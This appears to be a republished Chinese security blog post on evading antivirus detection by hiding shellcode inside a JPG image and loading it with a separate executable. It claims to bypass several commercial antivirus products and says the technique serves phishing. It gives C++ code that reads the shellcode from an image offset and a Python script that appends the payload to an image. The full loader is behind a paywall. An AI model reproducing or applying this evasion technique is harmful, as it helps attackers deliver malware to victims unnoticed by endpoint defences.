前言
此前也出过一些简单的免杀和包装免杀进行钓鱼的技巧,有兴趣的朋友可以翻翻公众号以前的文章,其中关于免杀这部分技术思路被评价是不够透彻(8窍通了7窍),这段时间痛定思痛沉淀了一番,话不多说先看效果,基本原理和成果代码也贴在后头,付费则是为了保护成果和赚包烟钱,本篇包括后续的付费文章也会在星球同步更新,星球成员可以直接观看。
免杀效果
经过测试可以过火绒
添加签名后可以过360
过windows defender
过卡巴斯基
基本原理
shellcode和loader分离的模式基本上是可以绕过大部分静态检测的机制,但是一个exe文件和一个二进制文件在一起的话会显得非常的突兀。
这里通过将shellcode添加到图片文件中,让loader读取指定偏移后的shellcode就可以达到读取图片文件上线的效果。
读取图片文件中的shellcode代码:
char filename[] = "xxx.jpg"; // filename
int offset = 10086; // image file offset
ifstream infile;
infile.open(filename, ios::out | ios::binary);
infile.seekg(0, infile.end);
int length = infile.tellg();
infile.seekg(offset, infile.beg);
int shellcode_size = length - offset;
char* data = new char[shellcode_size];
infile.read(data, length);
下面的python代码实现获取读取图片文件的字节数来得到offset偏移量,同时实现cmd的copy拼接功能(图片文件和shellcode文件要和python文件在同一个文件夹下)
# usage: python countByte.py file1 file2
# 获取file1的字节数
# 实现功能 -> copy file1 /b + file2 /b out_res.jpg
import os
import sys
def get_file_size(file_path):
try:
# 获取文件大小(字节数)
size = os.path.getsize(file_path)
print(f"文件 '{file_path}' 的大小为 {size} 字节")
return size
except:
pass
if __name__ == "__main__":
if len(sys.argv) < 3:
print("用法:python script.py <文件路径1> <文件路径1>")
else:
file_path = sys.argv[1]
file_path2 = sys.argv[2]
get_file_size(file_path)
os.system("copy "+ file_path +" /b + " + file_path2 + " /b out_res.jpg")
图片文件和loader在同一个文件夹下,双击exe即可上线
完整loader代码及操作流程
原文始发于微信公众号(CatalyzeSec):【免杀】loader和shellcode分离-图片注入shellcode
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论